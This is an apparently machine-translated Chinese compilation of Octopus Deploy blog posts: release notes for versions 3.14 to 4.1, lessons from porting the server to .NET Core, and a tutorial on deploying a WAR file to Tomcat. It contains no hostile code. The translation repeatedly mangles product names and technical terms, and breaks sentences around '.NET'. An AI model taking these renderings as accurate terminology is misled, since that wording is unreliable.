在极少数情况下，保留策略会在部署期间失败，通常是由于锁定的文件或病毒扫描程序。在过去，这种失败会导致您的部署看起来好像失败了，而实际上部署实际上是成功的——我们只是无法在事后进行适当的清理。现在，如果保留策略在部署期间失败，我们仍将记录失败的详细信息，但部署本身将显示为成功(带有警告)。
性能改进
在此版本中，我们进一步改进了 Octopus 的一般性能:
- 现在，每个 HTTP 请求分配的内存减少了 86%(平均从 1.44MB 减少到 256KB)，导致 Octopus 在一段持续的时间内每秒可以处理的请求数量增加了 45%。这意味着章鱼可以花更少的时间清理自己，而有更多的时间为你工作。
- 我们在 Releases 表中添加了一些内置的 SQL 索引，将一些最常见的查询成本降低了 92%。
- 我们改进了任务调度程序和保留策略的性能，从而减少了 SQL 数据库上的争用和查询成本。
- 现在，写入任务日志的速度提高了 10%,从而减少了锁争用，并加快了部署速度。
每位八达通用户都应该从这些改进中受益，尤其是那些安装了大型设备的用户。
改进的升级体验
每当我们需要更改数据库模式时，这些更改将在 Octopus 服务器启动时由 Octopus 服务器帐户应用，对任何用户来说都是不可见的。这并没有为拥有大型安装的客户或使用 Octopus 高可用性集群的客户，或想要不同安全模式的客户提供最佳体验。现在，当您将 Octopus 升级到 3.14.x 或更高版本时，数据库模式升级将在安装程序完成后自动执行，清楚地显示模式更改的进度。
您现在可以选择何时运行 SQL 数据库模式升级，以及用户帐户您想要执行模式升级:
- 安装程序完成后自动运行(新行为)——这将作为启动安装程序的用户帐户运行模式升级
- 在 Octopus 服务器启动期间自动进行(就像以前一样)——这将作为启动 Octopus 服务器的用户帐户运行模式升级
- 当对存储在数据库中的设置执行
Octopus.Server.exe configure命令时自动执行(就像之前一样)——这将作为启动 Octopus 服务器的用户帐户运行模式升级 - 手动执行全新的
Octopus.Server.exe database --upgrade命令——这将作为启动该命令的用户帐户运行模式升级
这可能不会影响许多客户，但可以实现一些高级场景，在这些场景中，您可以向 Octopus 服务器帐户授予有限的权限，并向用于安装的特殊帐户授予模式更改权限。
重大变化
在这个版本中没有突破性的变化，但是值得注意的是我们已经调整了 SQL 数据库模式升级，正如我们上面讨论的。
SQL Error 4060 - Cannot open database "OctopusDeploy" requested by the login. The login failed.
如果您在安装完成后看到这样的错误消息，您可以像以前一样启动 Octopus 服务器，让它执行模式升级。
升级
升级 Octopus Deploy 的所有常规步骤都适用。更多信息请参见发布说明。
包裹
这个月到此为止。我们希望你喜欢最新的功能和我们的新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通 7 月版 3.15 -八达通部署
这个月的版本包括对多租户部署的一个大的改进，Octopus Server Let ' s Encrypt integration，以及一些更小的改进！
在这篇文章中
发布之旅
https://www.youtube.com/embed/mPhwHndEEzk
VIDEO
让我们加密集成
我们是 Octopus 安全的忠实粉丝，我们也希望让您的安全变得更容易。为此，我们添加了对自动管理 Octopus 门户使用的 SSL 证书的支持，使用来加密。通过几个简单的步骤，您可以配置 Octopus 进行注册、请求证书并将其应用到门户。更好的是，当证书接近到期日时，它会自动更新，所以你不必担心手动更新和重新配置你的八达通服务器。如果你目前已经通过 HTTP 在互联网上安装了服务器，那再简单不过了- 今天就搬到 HTTPS 。
允许将未租赁的项目部署到租赁的机器上
在多租户部署的开发过程中，我们决定明确区分租赁和未租赁的部署目标。因此，我们防止未租用的项目被部署到租用的机器上。我们的推理本质上是安全第一；我们不想泄露租赁部署或变量。
然而，这阻止了许多有效的场景。例如，将公共组件(例如遥测服务)部署到租用的机器上，或者在租用和未租用的项目之间简单地共享开发服务器。
注意:这也适用于帐户和证书，因为它们也可以作用于租户。
你让我们知道我们的决定是错误的(或者至少是不完整的)。你通过我们的支持，通过用户之声和通过 GitHub 问题告诉我们。
因此，从 Octopus 3.15 开始，机器、帐户和证书如何参与租用部署是显式可配置的。
命令行界面的改进
在这个版本中，我们对 Octopus 和触手的命令行界面(CLI)进行了一些改进:
- 我们已经重新工作并清理了我们的日志记录，因此
stdout可以更可靠地使用 - 错误现在被写入
stderr并配有可靠的退出代码 --help在任何地方都能工作，比以往任何时候都更容易获得特定命令的帮助- 我们添加了一个版本命令，以便您可以获得详细的版本信息
- 我们增加了对
--format=json的支持，使 Octopus CLI 可查询，这对自动化特别有用- 甚至帮助也是可查询的，因此您可以进行功能检测
- 我们已经开始将数据库配置从过载的
configure命令转移到database命令 - 我们已经废弃了一些不再需要的选项和开关，比如
--noconsolelogging和--thumbprintonly- 在 Octopus 4.0 中，这些仍然受支持，但将被删除
- 许多其他小但有用的功能
我们认为这些改进对于自动安装 Octopus 和触手的团队来说是一个受欢迎的补充。
重大变化
作为命令行界面改进的一部分，我们清理了写入到stdout的内容，将错误重定向到stderr，并弃用了一些不再需要的开关。我们尽可能保持向后兼容性。如果您自动安装 Octopus 或触手，我们建议在升级时测试您的自动化脚本，以确保它们仍按预期工作，并查看 Octopus 4.0 中将删除哪些命令和选项。
升级
此版本包含安装后数据修复，这可能需要一些时间(取决于事件表的大小)，因此请确保您有时间来完成此操作。如果您正在运行看门狗服务，请确保在升级期间停止该服务。
升级 Octopus Deploy 的所有常规步骤都适用。更多信息请参见发行说明。
包裹
这个月到此为止。我们希望你喜欢最新的功能和我们的新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通 8 月版 3.16 -八达通部署
虽然这个月的版本比往常小了一点(我们一直在忙于一些超级令人兴奋的东西)，但它仍然有一些令人敬畏的功能。最大的变化是，我们通过消除对 Mono 框架的需求，使部署到 SSH 部署目标变得更加容易，如 Ubuntu、Red Hat Enterprise Linux 或 macOS。这使得部署到这些平台更加容易。我们还升级了 ScriptCS 以更好地使用 C#编写脚本，为 Okta 身份管理服务添加了一个新的身份验证提供者，并包括许多其他小的增强和修复。详情请继续阅读。
在这篇文章中
发布之旅
https://www.youtube.com/embed/FmyE4v68MPQ
VIDEO
SSH 以 sans Mono 为目标
Octopus Deploy 支持通过 SSH 目标部署到 Linux 和 macOS。因为枪乌贼(章鱼部署可执行文件)是用。NET， Mono 是 SSH 目标服务器的先决条件。
从章鱼 3.16 开始，不再需要 Mono 了！
SSH 目标现在提供了一个使用自包含的 Calamari 的选项。
独立的鱿鱼是用。网芯 2.0。因为。NET Core 2.0 目前是一个预览版，我们觉得有必要将这个特性标记为 beta 。但是请放心，这是完全支持的。我们相信。NET Core 将在未来为 Octopus Deploy 的跨平台支持提供基础，我们可能会在某个时候放弃基于 Mono 的选项。
ScriptCS 升级到 0.17.1
Octopus 支持用 C#编写的自定义脚本，这由 ScriptCS 提供支持。在此版本中，我们升级了库，因此您可以获得最现代的 ScriptCS 支持。在这个 ScriptCS 版本中有一些突破性的变化——阅读下面的更多内容。
我们的定制脚本文档涵盖了编写 C#脚本或任何其他支持的语言所需的一切。
Okta 认证提供者
八达通现在包括一个 Okta 认证提供商，所以你可以很容易地通过这项服务进行认证。非常感谢布伦特·蒙塔古的出色表现，并为此提交了一份公关。
我们的认证提供者文档提供了更多关于如何使用这个新提供者或任何现有提供者的信息。
让我们加密所需的更新
让我们加密最近部署的更新，从特定的 API 调用返回更多的数据。不幸的是，我们用来与 Let's Encrypt 通信的库无法处理这个问题，这意味着新注册和续订都无法成功完成。如果您已经设置了让我们加密集成，请升级以确保您的门户证书正确续订。
重大变化
我们需要指出的是，最新的 ScriptCS 已经引入了一些突破性的变化，所以在升级之前查看他们的发行说明是很重要的。这只会影响使用 C#编写脚本步骤的项目，这些项目由幕后的 ScriptCS 提供支持。
升级
此版本包含安装后数据修复，这可能需要一些时间(取决于事件表的大小)，因此请确保您有时间来完成此操作。如果您正在运行看门狗服务，请确保在升级期间停止该服务。
升级 Octopus Deploy 的所有常规步骤都适用。更多信息请参见发行说明。
包裹
这个月到此为止。我们希望你喜欢我们的新功能和最新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通 9 月版 3.17 -八达通部署
这个月的发布是重要的，我们很高兴能发布具有一流 Java 支持的 Octopus 3.17！这是令人兴奋的，因为它使使用 Java 平台构建应用程序的团队能够以安全、可靠和可重复的方式部署他们的应用程序。我们也为 Octopus API 提供了强大的支持。Octopus 是一个 API 优先的系统，所以你可以通过我们的门户网站或命令行工具做任何事情，你可以通过我们的 REST API。现在，我们已经添加了 Swagger 支持，所以它更容易被发现和使用。最后，我们改进了用户管理和身份验证性能。请继续阅读所有激动人心的细节！
在这篇文章中
发布之旅
https://www.youtube.com/embed/2vpxRy2yXAI
VIDEO
一流的 Java 部署
3.17 引入了许多针对 Java 应用服务器部署和管理应用程序的新步骤，并为管理内置 Octopus 库中的jar、war、ear和rar文件提供支持。
这些新步骤允许将 Java 应用程序部署到 WildFly 10+和 Red Hat JBoss EAP 6+应用服务器，以及 Tomcat 7+上。此外，Deploy Java Archive步骤允许将 Java 应用程序复制到目标机器上的自定义位置，从而允许将 Java 应用程序部署在任何能够使用文件复制部署的 Java 应用服务器上。
有关这些新步骤的更多信息，请参见文档。
对 Octopus API 的大力支持
Swagger(也称为 OpenApi)是描述 REST API 的标准。许多公司采用它来描述他们的公共 API。现在在 3.17 Octopus Deploy 已经开始使用 Swagger 记录它的 API。
swagger 文档有两个版本，JSON 格式的版本在[server]/api/swagger.json可用，YAML 格式的版本在[server]/api/swagger.yaml可用。
3.17 现在还包括默认的 Swagger UI，用于以一种人类可读的方式显示 Swagger 文档。该用户界面在[server]/swaggerui/可用
用户管理和身份验证性能改进
我们围绕用户管理引入了一些变化，以解决一些性能问题，并在 Octopus 中更好地模拟用户。关键性能修复与在使用 Active Directory 提供程序时何时检查安全组有关。在以前的版本中，组是在用户登录时检索的。在大型/复杂的目录场景中，这可能需要一段时间，并且用户在登录时会经历长时间的延迟。为了解决这个问题，我们现在每小时在后台检查一次组(它最初在启动后不久运行，因此如果需要，可以使用重启来强制它运行)。此更改还修复了以前不会为服务帐户用户加载组的问题，因为他们没有登录。
与用户建模相关的另一个重大变化是登录的引入，它允许多个登录与一个给定的用户相关联。例如，您现在可以创建一个用户，并关联一个 Active Directory 帐户和一个 GoogleApps 帐户(假设您已经启用了这两个帐户)。它还消除了强制用户名为活动目录提供者的 UPN 的需要(如果用户是在登录时自动创建的，它将默认为 UPN，但如果是手动创建用户，则不必如此)。要为用户添加 Active Directory 登录，也不再需要猜测 upn，您需要通过一个搜索对话框，类似于编辑团队和查找安全组时。
最后一点，现在可以禁用自动用户创建。它仍然默认为启用，但您现在可以选择禁用它。启用/禁用通过configure命令行完成，并且可以根据身份验证提供者进行设置。
更多信息参见更新的文档。
重大变化
这个版本没有重大变化。
升级
升级 Octopus Deploy 的所有常规步骤都适用。更多信息，请参见发行说明。
包裹
这个月到此为止。我们希望你喜欢我们的新功能和最新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通部署版本 4.0 -八达通部署
我们很高兴发布 Octopus Deploy 4.0，整个团队都很高兴能与全世界分享它！今天就下载吧！在这个版本中，最大的变化是改进的 UI 和用户体验。Octopus 现在有一个现代化的外观和感觉，我们重新设计了应用程序的一些关键区域。从技术角度来看，这涉及到我们前端的完全重写，从 Angular 1.4 迁移到 React 和 Redux 。
我们因为技术原因开始了这个过程，但是随着我们的进展，出现了两个主题。第一个是让 Octopus 更容易使用和更一致，第二个是为规模设计。
在这篇文章中
发布之旅
https://www.youtube.com/embed/i-NdrYnmhNU
VIDEO
易用性
八达通一直都很好用，现在比以前更好用了。我们努力确保每一页都尽可能直观和一致。
我们使用谷歌的材料设计指南更新了我们的外观，但我们也保持了简单的东西，以保留章鱼的个性。
我们在整个用户界面中添加了过滤器和搜索控件，以便您可以专注于对您来说重要的事情，快速轻松地完成工作。
章鱼的动作和按钮是一致的，所以你再也不用去找那个存扣了！
我们完全重新设计并重写了我们的变量编辑器，因此管理大量变量变得更加简单和容易。我们还包括完整的键盘支持。
我们重新设计并简化了我们的部署发布页面，允许您指定何时何地部署您的项目，以及查看预览和进一步定制。
规模设计
我们希望 Octopus 是一个很好的体验，无论您是一个只有一个实例的小团队，还是一个有高可用性节点的大企业！我们的一些大客户有数千个项目和数千台机器。过去，我们对 Octopus 服务器进行了有针对性的更改以提高性能，但在 Octopus 4 中，我们重新考虑了用户界面，以便为大量安装的客户提供更好的体验。
更新的项目页面现在有一个卡片布局，您可以使用过滤器和项目切换器快速轻松地访问您喜爱的项目。
我们重新设计了我们的环境页面，现在它被称为基础架构页面，以更好地适应其目的和意图。处理成百上千个环境和部署目标要简单得多。新的 overview 页面为您提供了基础架构的摘要，选择一个摘要项目会将您带到相关部署目标的筛选视图。
重大变化
此版本中有突破性的变化，我们建议您查看以下列表，看看是否有相关的内容。
升级
此版本包含一些安装后数据修复，这可能需要一些时间(取决于您的DeploymentProcess和User表的大小)，因此请确保您有时间来完成此操作。如果您正在运行看门狗服务，请确保在升级期间停止该服务。
一如既往，阅读升级指南了解升级到 Octopus 4.0 的更多细节。
包裹
我们非常自豪地向我们所有的客户提供 Octopus 4.0，我们希望您和我们一样喜欢它。今天就下载吧！
八达通 12 月版 4.1 -八达通部署
今年 12 月发布的 Octopus 继续支持早在 3.17 中引入的 Java，能够将证书导出为 Java 密钥库，并直接在现有的 Tomcat 7+、wildly 10+和 Red Hat JBoss EAP 6+应用服务器中配置证书。这个版本还允许将 Maven 存储库配置为外部 Octopus 提要，这意味着 Octopus 现在可以在部署中使用 Maven 工件。请继续阅读所有激动人心的细节！
在这篇文章中
发布之旅
https://www.youtube.com/embed/vKwv56oYSyY
VIDEO
将证书作为 Java 密钥库导出到 WildFly、JBoss EAP 和 Tomcat
Octopus 已经具备了管理您的证书的能力，现在这些证书可以通过Configure certificate for WildFly or EAP步骤直接在现有的 wildly 10+或 Red Hat JBoss EAP 6+应用服务器中配置，或者通过Deploy a certificate to Tomcat步骤在现有的 Tomcat 7+应用服务器中配置。对于那些希望手动配置证书的人来说，新的Deploy a keystore to the filesystem步骤允许将由 Octopus 管理的证书保存为 Java 密钥库。
您可以通过查看这些步骤的文档来了解更多信息:
作为外部提要的 Maven 存储库
Maven 存储库非常受 Java 开发人员的欢迎，在这个版本中，Maven 存储库可以配置为 Octopus 中的外部提要。
这意味着 Maven 工件现在可以像任何其他提要一样作为部署的一部分下载。
所有您喜欢的特性，比如频道和版本规则，也可以用于 Maven 提要，您也可以使用标准的 Maven 版本范围语法！
在我们的文档中获得更多关于使用 Maven 仓库作为外部提要的细节。
更多配置增强
基于我们在 4.0 中所做的配置增强，我们在此版本中添加了一些新功能。
首先是调整如何处理任务日志、工件和包存储库的目录路径。这些路径先前被默认为相对于服务器主目录的路径，但被存储为绝对路径。如果您出于某种原因需要移动整个文件夹结构，这会很困难，因为您必须单独更改所有路径。我们现在默认将路径存储为相对值，并在运行时计算绝对路径。如果您覆盖了任何路径，并且它们不是相对于主目录的，例如，当您使用 HA 的共享位置时，那么我们将它们存储为绝对值。
第二个新特性也与这些路径相关。现在你可以在设置界面和show-configuration命令的输出中看到它们。
重大变化
这个版本没有重大变化。
升级
升级 Octopus Deploy 的所有常规步骤都适用。更多信息，请参见发行说明。
包裹
这个月到此为止。我们希望你喜欢我们的新功能和最新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
将 Octopus 服务器移植到。网络核心 3.1 -八达通部署
原文：https://octopus.com/blog/octopus-server-dotnet-core-lessons-learned
随着 Octopus 2020.1 的发布，Octopus Server 现在运行于。NET Core 3.1，这意味着它可以安装在 Linux、Docker 容器和 Kubernetes 上。这是一项重大的努力，我们已经分享了我们对推出章鱼云 1.0 的思考，以及我们为什么选择 Kubernetes、Linux 和。NET Core for Octopus Cloud 2.0 ，在本帖中，我们分享了这一变化的好处以及我们学到的三大经验教训。
利益
在我们分享经验教训之前，先来看看将 Octopus Server 移植到。网络核心:
- 现代开发环境、框架和工具。
- 对 Windows 和 Linux 的跨平台支持。
- 在 Kubernetes 中访问运行 Linux 容器的成熟生态系统。
- 选择和灵活性:我们的客户可以选择在 Windows 或 Linux 上运行 Octopus，也可以使用 Octopus Cloud。
- Octopus Cloud 提高了性能，降低了运营成本。具体数字见上面的链接。
这也使得我们的开发环境更加高效，因为我们的工程团队现在可以选择在 Windows 或 Linux 上进行开发。
三大经验教训
通过这个过程，我们学到了很多东西；然而，我们学到了三大教训。
1.了解并计划 Windows 和 Linux 之间的差异
在的实现中存在特定于平台的差异。Windows 和 Linux 上的 NET Core。大多数问题都很小，有简单的解决方法，但我们确实发现了一些值得分享的重大问题。
配置设置和 Windows 注册表
为了同时支持 Windows 和 Linux 平台，我们必须删除任何特定于 Windows 的代码。Octopus Server 一开始是 Windows 产品，它遵循平台约定，在 Windows 注册表中存储了一些配置设置，这对 Linux 来说是个问题。
解决方案:
我们将注册表中存储的所有内容都转移到文件系统或 Octopus 数据库中。这是一个简单的任务，但需要时间和测试才能做好。
数据库性能问题
我们遇到的最大问题是糟糕的数据库性能，这是由于在 Windows 和 Linux 上处理数据库查询的方式不同。Octopus 使用 Microsoft SQL Server 作为其数据存储，我们在。NET 核心 SQL 客户端库。如果我们将MultipleActiveResultSets设置为True，我们会得到异常和数据库超时。上面链接的 GitHub 问题分享了完整的细节和一个简单的代码样本来重现问题。
解决方案:
我们的短期解决方案是禁用MultipleActiveResultSets设置，并尽量少用。通常，我们打开两个到数据库的连接，一个启用这个设置，另一个禁用它。我们主要使用禁用的连接，仅在需要时使用启用的连接。
我们一直在与微软合作，以帮助提供信息来解决这个问题，我们希望在未来看到一个适当的修复。
认证提供者
我们还遇到了在每个平台上托管不同的 Octopus 服务器 web 主机的需求。我们在 Windows 上使用HttpSys,在 Linux 上使用 Kestrel ,这使得我们的认证很有挑战性。Octopus 需要支持多种身份验证方案，包括基于 cookies 的身份验证，以及用户登录和注销并同时启用多个身份验证提供者的能力。
我们遇到的核心问题是HttpSys支持集成认证(即 Windows 认证)，但它是主机中每个端点的二进制开/关设置。这是不灵活的，这是从我们的非。NET 核心代码库。用户可以自动登录，但永远无法注销。
注意:我们不在 Windows 上使用 Kestrel，因为它不支持虚拟目录，而且我们的客户与其他服务共享同一个端口。因此，为了确保我们保持向后兼容性，我们决定只对 Windows 使用HttpSys。
解决方案:
我们考虑了几个选项，但是在经历了这个ASP.NET 核心问题之后，我们决定遵循那里的建议，使用两台主机。一个标准 web 主机，另一个主机看起来/表现得像主 API 站点根目录下的虚拟目录，即/integrate-challenge，因此与 Octopus Server 早期版本中的位置一致。主机只有这一条路由，当用户尚未通过身份验证时，它使用 401 响应发起登录质询。
2.提高您的 Linux 和 Docker 调试技能
当我们穿过。NET 核心端口，我们还学习了如何编码、测试和调试 Windows、Windows Subsystem for Linux (WSL)、Linux 和 Docker 的问题。从历史上看，我们的团队都是在 Windows 上开发的，但这已经演变为个人在 Windows、Linux 和 macOS 上编码，因此，我们学到了几个教训:
以非超级用户或非管理员身份运行
我们发现在 Linux 上以非 root 或非 sudo 身份运行所有构建和测试 Octopus Server 要容易得多，以限制基于权限的错误和问题。也就是说，我们有时需要使用sudo以 root 用户身份运行命令，然后用chown修改在这些命令中创建的文件的所有权，比如sudo chown -R $user:$user ~/Octopus/MyInstance。这有点快和脏，但它做的工作。
我们计划在未来改变这一点，例如 octopus 作为一个组的成员运行，在安装期间我们将/etc/octopus的组所有者配置为该组。
证书管理
我们的端到端(E2E)测试套件运行了一系列针对 Octopus 服务器监听 HTTPS(即端口 443)的测试。这需要我们将一些自签名证书转换并导入到 Linux 机器上/etc/的本地证书存储中。为了解决这个问题，我们编写了以下脚本:
#!/bin/bash
echo "Setup certificates"
CERTS_PATH_DEST="/usr/local/share/ca-certificates"
if [ ! -d "$CERTS_PATH_DEST" ]
then
echo "Creating $CERTS_PATH_DEST"
mkdir ${CERTS_PATH_DEST}
fi
MY_PATH="`dirname \"$0\"`"
CERT_PFX_FILES=(${PWD}/${MY_PATH}/../Octopus.E2ETests/Universe/*.pfx)
for CERT_PFX in "${CERT_PFX_FILES[@]}"
do
FILE_NAME=$(basename "$CERT_PFX")
CERT_CRT="${CERTS_PATH_DEST}/${FILE_NAME%.*}.crt"
if [ ! -e "${CERT_CRT}" ]
then
echo "Converting '${CERT_PFX}' to '${CERT_CRT}'"
openssl pkcs12 -in "${CERT_PFX}" -clcerts -nokeys -out "${CERT_CRT}" -passin pass:password
fi
done
update-ca-certificates
连接到 SQL Server 数据库
Octopus 使用 Microsoft SQL Server 作为其数据库，团队一般通过 Windows 服务器上的集成 Windows 身份验证连接到它。这不再管用了。我们这里的解决方案是切换到基于用户名和密码的身份验证。
此外，我们发现在关闭数据库连接池的情况下，我们的端到端(E2E)测试套件运行得更快、更可靠。我们还没有找到问题的根源，但是这可能是一个与上面提到的数据库性能问题相关的特定于平台的问题。
用 Visual Studio 代码调试 Linux 上的 Octopus 服务器
我们的团队使用各种工具编写代码，包括:
目前最流行的是带有远程开发扩展的 Visual Studio 代码。这个扩展仍然是在预览，但我们发现它工作得很好。
使用 Visual Studio 代码和远程开发扩展，我们可以运行应用程序、测试和调试它们，以及在 Linux(或 Docker 容器)中编辑代码。只需将 VS Code 指向包含 Octopus 服务器代码的文件夹，然后只需按 F5 即可。就这么简单！
3.使用独立的包进行简化
把章鱼移植到。NET Core 允许我们发布自包含包，这带来了多重好处。
- 更少的依赖性:发布一个独立的可执行文件意味着我们不再需要。NET Core 安装在八达通服务器上。其结果是降低了安装要求，使八达通更容易安装。这是一个巨大的胜利。
- 改进的可支持性:简而言之，更少的依赖使得 Octopus 更容易安装和支持。零部件少了，能不小心改动的东西也少了。面向 Windows 和 Linux(即将推出)的 Docker 容器映像消除了更多的依赖，因为更多的依赖被内置到容器中。
- 现代软件和工具:使用现代工具和框架使我们的团队能够继续创新，并为我们的客户快速发布具有有用特性的软件。
不幸的是，这也有一些权衡。NET Core 3.1 要求我们放弃对旧操作系统的支持，包括 Windows Server 2008-2012 和一些 Linux 发行版。支持旧的服务器和浏览器消耗了我们的时间和注意力，使我们更难创新和推动 Octopus 生态系统向前发展。
结论
我们把章鱼服务器移植到了。NET Core 3.1，以便服务器可以在 Linux、Docker 容器和 Kubernetes 上运行。我们作出这一改变是为了降低成本和提高我们的八达通云 SaaS 产品的性能，它取得了巨大的成功。
这不是一次简单的旅行，但我们在途中学到了很多东西。
- 了解并计划 Windows 和 Linux 之间的差异
- 提高您的 Linux 和 Docker 调试技能
- 使用独立的包进行简化
相关职位
章鱼空间博客系列启动-章鱼部署
原文：https://octopus.com/blog/octopus-spaces-blog-series-kick-off
Octopus 最初是为小团队设计的。一切都是全局层次的:项目、环境、生命周期、变量集等等。
在大型组织中，随着团队数量的增加，这种方法的可扩展性并不好:
- 人们最终用“命名空间”来避免冲突和混淆:“这是我们的生产环境”
- 人们努力使用我们的许可系统来提供任何隔离。
拯救空间
几乎所有的东西都在一个空间内。唯一保持全球性的是:
- 八达通服务器配置(许可证、维护模式、HTTPS 证书等)
- 用户
- 组
空间功能将被选择加入，如果你目前不认为自己有必要划分你用八达通做什么，那么你可以继续使用八达通像你今天这样做。如果有一天你发现你在 Octopus 中管理的东西已经增长，并且可以从一些隔离中受益，那么你就可以选择开始利用空间。
这里有一些小警告，我们所做的一些改变会对一些 API 产生影响。不要惊慌，目前它们仅限于团队管理 API。作为这个博客系列的一部分，我们将分享一些技术细节，以及我们正在改变的 API 的具体细节。
接下来会有一些详细的帖子，所以一定要看看我们的博客。
博客系列文章:
ThoughtWorks 技术雷达中的章鱼部署-章鱼部署
我发布的有点晚，但是 Octopus Deploy 在去年 5 月赢得了 Thoughtworks 技术雷达的一席之地:
什么是科技雷达？
ThoughtWorks 技术顾问委员会是一个由 ThoughtWorks 的高级技术领导者组成的小组，负责创建雷达。他们定期会面，讨论 ThoughtWorks 的全球技术战略以及对我们的行业产生重大影响的技术趋势。雷达捕捉技术顾问委员会讨论的结果，以一种格式为从首席信息官到开发人员的广泛利益相关者提供价值。
八达通被列入评估类别，这意味着:
评估:值得探索，目标是了解它将如何影响您的企业。
我认为这是公平的，因为新的自动化部署解决方案在。网络生态系统。我发现有趣的是，像微软的 Team Foundation Server 这样的产品被列在“保留”类别中。
来自 PDF :
应该采用 Windows 基础设施自动化，但是它仍然比 Unix 平台上的自动化更困难。像 Chef 和 Puppet 这样的工具正在增加它们的支持，但是也有像 Octopus 这样的 Windows 专用解决方案正在开发中。Octopus 允许自动部署您的 ASP.NET 应用程序和 Windows 服务，并减少对 PowerShell 的依赖。它可以与使用 Octopak 的 NuGet 和 TeamCity 一起使用，以创建完整的构建、打包和部署管道。
从 Octopus Deploy - Octopus Deploy 部署到 Tomcat
Octopus Deploy 提供了大量有用的步骤(包括自带的和社区提供的)，可用于通过不同的方法将包部署到各种不同的目的地。
幸运的是，这些相同的部署步骤可以用来将 Java 包部署到运行在 Linux 上的 Java web 服务器上。
有一些警告，我要大声说出来。Octopus Deploy 团队正在积极研究如何改进对 Java 的支持，所以期待在未来的版本中看到对 Java 开发人员的改进。
下面的步骤提供了一个可以用 Octopus Deploy 实现的过程示例，用于将 WAR 文件部署到运行在 Linux 中的 Tomcat 服务器。
构建战争文件
首先，我假设您手边有一个构建 WAR 文件的 Maven 项目。如果没有，在https://github.com/OctopusDeploy/ThymeleafSpringDemo有一个小的演示应用程序将用于这个例子。
这个项目使用 Maven 包装器，所以所有 Maven 命令都通过mvnw脚本传递。如果本地还没有合适的 Maven 版本，这个脚本将为您下载并安装它，然后将参数传递给mvn可执行文件。
要构建 WAR 文件，请运行以下命令:
./mvnw clean package
这将导致在target目录中创建文件demo##<timestamp>.war(例如demo##201705290808.war)。
WAR 文件的时间戳部分由 Tomcat 并行部署特性使用。它允许 Tomcat 排出旧版本 web 应用程序的连接，同时将新流量导向最新版本。
打包 WAR 文件
这就是 Octopus Deploy 所需的一些约定不同于 Java 通常使用的那些约定的地方。
要将一个包上传到 Octopus Deploy，它必须遵循许多版本控制规则。在实践中，这意味着用类似于demo.0.0.1.zip的文件名创建一个 zip 或 tar.gz 档案。
在 Java 中，版本控制主要是通过 Maven 来完成的。此外，上面创建的 WAR 文件在 WAR 文件名中嵌入了时间戳版本，Tomcat 可以识别该版本。另一方面章鱼部署使用永远。所有这些版本控制方案大多是不兼容的，并且内置的存储库目前不支持 WAR 文件，这意味着我们不能照原样上传 WAR 文件。
解决方案是将 WAR 文件打包成一个适当命名的 ZIP 文件，然后可以上传到 Octopus Deploy。这个“WAR in a ZIP”包允许我们用 Octopus Deploy 管理 WAR 文件，但是确实有一些缺点，我将在后面提到。
要打包 WAR 文件，请使用 Octopus Deploy CLI 工具。CLI 工具是一个。NET Core 应用程序，它公开了一些可以在 Octopus Deploy 中执行的常见操作，以及一些方便的特性，比如使用正确的命名约定创建 ZIP 存档。
如果你不熟悉。NET Core，对于这篇博文来说，知道它允许。NET 应用程序可以跨操作系统运行，包括 Linux。Octopus Deploy CLI 工具是一个独立的软件包，包括。NET 核心运行时，所以当您下载 Linux 发行版的版本时，您就(几乎)获得了运行 CLI 所需的一切。
您可能需要安装一些额外的依赖项，以便从使用“最小”安装选项安装的 Linux 环境中运行 CLI 工具。从的文档开始。NET Core 页面列出了各种 Linux 发行版所需的包。
要创建包，请运行命令:
octo pack --id=Demo --version=1.0.0 --basePath=target --include=*.war --format=zip
这将创建包含 WAR 文件的文件Demo.1.0.0.zip。
创建 ZIP 文件不需要使用 CLI 工具。任何压缩工具都可以。然而，Octopus Deploy 提供的工具旨在根据打包文件的实际内容大幅缩减文件大小。更多信息见包传输的增量压缩。
推动包装
要推动包装，使用推动命令:
octo push --package Demo.1.0.0.zip --server http://my.octopus.url --apiKey API-XXXXXXXXXXXXXXXX
您可以在如何创建 API 密钥中找到关于 API 密钥的信息。
这将把包添加到 Octopus Deploy 内置包存储库中，以便可以在部署中使用。更多信息见软件包库。
【T2 
创建 Octopus 部署环境
在 Octopus 中，环境是您将同时部署到的一组机器；环境的常见示例有测试、验收、试运行或生产。入门文档详细介绍了在 Octopus Deploy 中创建新环境的过程。
创建 Octopus Deploy 部署目标
部署目标代表您的应用程序和服务将被部署到的服务器、机器和云服务。入门文档详细介绍了在 Octopus Deploy 中创建新部署目标的过程。
在本例中，我们将创建一个部署目标来代表运行在 Linux 主机上的 Tomcat 服务器。几乎所有的 Linux 服务器都运行 SSH 作为远程管理的手段，而 Octopus Deploy 本机支持 SSH，所以这是我们将用来部署 WAR 文件的通信手段。
Octopus 使用一个名为 Calamari 的组件作为引擎在部署目标上执行部署。Calamari 目前需要依赖 Mono 来提供一个. NET 环境，以便在 Linux 上运行。您需要在 Tomcat 服务器上安装 Mono 来运行 Calamari。在未来，这将被简化使用。NET 核心，而不需要额外的依赖。
这对刚接触 Octopus 的人来说可能会很困惑，所以我将回顾一下。你只需要知道:
- Octopus 部署 CLI 工具使用。NET 核心，并且是自包含的，尽管您可能需要安装额外的依赖项。CLI 工具既可以在您自己的 PC 上运行，也可以在诸如 TeamCity 或 Bamboo 等 CI 服务器上运行。
- 章鱼部署执行引擎 Calamari 使用。NET，还有。NET 由 Linux 下的 Mono 提供。Calamari 运行在您要部署到的主机上，就像 Tomcat 服务器一样，这意味着 Tomcat 服务器也需要安装 Mono。
SSH 部署目标需要记住的一点是，建立 SSH 连接的用户需要拥有部署到 Tomcat webapps目录的权限。稍后，我们将定义一些部署步骤，将 WAR 文件从之前上传的包中复制到 webapps 目录中，如果 SSH 用户没有将文件复制到该位置的正确权限，此步骤将会失败。
可以从 Octopus Deploy 部署到 Linux 服务器，而无需安装 Mono。这很方便，但是代价是您会失去很多 Calamari 在执行部署时提供的功能。更多信息请参见尝试生吃章鱼。
创建 Octopus 部署项目
项目定义了您希望 Octopus 执行的一组部署步骤，以及它们的配置变量。入门文档详细介绍了在 Octopus Deploy 中创建新部署目标的过程。
在项目内部，我们需要打开 Process 部分，并添加Deploy a package步骤。
